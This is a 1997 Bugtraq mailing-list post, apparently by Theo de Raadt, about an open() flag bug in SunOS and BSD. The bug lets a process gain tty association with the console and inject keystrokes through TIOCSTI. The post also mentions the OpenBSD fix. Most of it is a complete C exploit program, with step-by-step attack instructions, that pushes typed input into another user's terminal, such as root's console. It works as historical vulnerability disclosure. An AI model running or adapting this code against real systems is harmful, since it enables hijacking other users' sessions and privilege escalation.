Bugtraq mailing list archives
Re: Possible SERIOUS bug in open()?
From: deraadt () CVS OPENBSD ORG (Theo de Raadt)
Date: Fri, 24 Oct 1997 17:47:16 -0600
This is a variant of a bug Theo de Raadt found in SunOS back in the 1980s. The basic issue is that the code that guards access to the device-specific open() routine checks explicitly for FREAD, FWRITE, and O_TRUNC, and passes the call through if none of these are set. Theo's bug involved using "3" for the open() flag.
The bug worked in SunOS 4.0 and 4.1, and if I remember correctly it was fixed in 4.1.3. What you basically did was this: - lose your tty association - open the console device you want to attack (ie. say, root is logged into the console) - fd = open("/dev/console", 3); close(fd); - now you have just gained tty association. - fd = open("/dev/tty", O_RDWR). This is the same as having opened /dev/console, but this time I have permission to read & write. - ioctl(fd, TIOCSTI, &c) ... Of course, TIOCSTI simulates console input. That this basic bug is still around is pretty dissapointing. I reported the bug to Sun, but I guess they never told anyone else about it, and hence it did not get fixed in the standard BSD code. I'm a little dissapointed in myself for not having looked to see if this bug still existed. Of course, the routed problems still exist too, and that bug is about as old. I fixed it in OpenBSD yesterday. Any vn_open() with FREAD|FWRITE == 0 fails with EINVAL. here's the program I wrote a VERY VERY long time ago. (Neato, it has some little buffer overflows in it ;-) ---------------------------------------- #include <sys/types.h> #include <sys/ioctl.h> #include <sys/signal.h> #include <sys/file.h> #include <stdio.h> #define ECHAR ((unsigned char)0x1d) unsigned char tty[80]; int fd, p[2];; int v = 1, sc = 1; /* ---------------------------------------------------------------------- * MAIN: * ------------------------------------------------------------------- */ main(argc, argv) int argc; char **argv; { int i, j, x; unsigned char c; if( argc<2 ) { fprintf(stderr, "Usage: %s [-v] tty\n", argv[0]); exit(0); } if( !strcmp(argv[1], "-v") ) { sprintf(tty, "/dev/%s", argv[2]); v = 1; } else sprintf(tty, "/dev/%s", argv[1]); printf("The escape character is ^]\n"); status(0); pipe(p); if( fork() == 0) { close(p[1]); x = getpgrp(0); signal(SIGTTIN, SIG_IGN); signal(SIGTTOU, SIG_IGN); ioctl(open("/dev/tty",0), TIOCNOTTY, 0); if( open(tty, 3) <0) open(tty, O_WRONLY); fd = open("/dev/tty", 2); setpgrp(0,x); while(1) { x = read(p[0], &c, 1); if(x==1) ioctl(fd, TIOCSTI, &c); if(x==0) exit(); } } else { close(p[0]); /* me */ echo(0); while( read(0, &c, 1) == 1) { c &= 0x7f; /* kill parity bit */ if(c==ECHAR) { if( read(0, &c, 1) == 1) switch( c&0x7f ) { case 'q': case 'Q': die(); break; case 'c': case 'C': sc = !sc; status(1); break; case 'v': case 'V': v = !v; status(1); break; case 's': case 'S': status(1); break; case '?': case 'h': case 'H': status(1); printf("\n\r? - this screen\n\r"); printf("q - quit\n\r"); printf("v - verbose\n\r"); printf("c - control characters\n\r"); printf("s - status\n\r"); break; default: send(ECHAR); send(c); break; } else die(); } else send(c); } die(); } } /* ---------------------------------------------------------------------- * SEND: * ------------------------------------------------------------------- */ send(c) unsigned char c; { unsigned char c2; c &= 0x7f; write(p[1], &c, 1); if(v) { if( c==' ' || c=='\t' ) { /* tab and space */ write(1, &c, 1); } else if( c=='\r' || c=='\n' ) { /* return */ write(1, "\r\n", 2); } else if( c<' ' ) { /* control characters */ if(sc) { write(1, "^", 1); c2 = c & 0x7f | 0x40; write(1, &c2, 1); } } else { /* normal characters */ write(1, &c, 1); } } } /* ---------------------------------------------------------------------- * ECHO: * ------------------------------------------------------------------- */ echo(n) int n; { struct sgttyb ttyb; ioctl(0, TIOCGETP, &ttyb); if(n) ttyb.sg_flags = (ttyb.sg_flags | ECHO) & ~RAW; else ttyb.sg_flags = (ttyb.sg_flags & ~ECHO) | RAW; ioctl(1, TIOCSETP, &ttyb); } /* ---------------------------------------------------------------------- * DIE: * ------------------------------------------------------------------- */ die() { echo(1); exit(0); } status(x) int x; { if(x) printf("\n\r"); printf("verbose:%d control:%d\n\r", v, sc); }
Current thread:
- Re: Possible SERIOUS bug in open()? Aleph One (Oct 23)
- a bug in IRIX open() as well [was Re: Possible SERIOUS bug in Mike Kienenberger (Oct 24)
- Vulnerability in metamail Alan Cox (Oct 24)
- Re: Possible SERIOUS bug in open()? Theo de Raadt (Oct 24)
- Re: Possible SERIOUS bug in open()? Theo de Raadt (Oct 24)
- Re: Possible SERIOUS bug in open()? Mark E. Mallett (Oct 24)
- Re: Possible SERIOUS bug in open()? Tim Newsham (Oct 25)
- Re: Possible SERIOUS bug in open()? Mark E. Mallett (Oct 25)
- SECURITY: metamail update (fwd) Raymond Dijkxhoorn (Oct 25)
- Re: Possible SERIOUS bug in open()? Tim Newsham (Oct 25)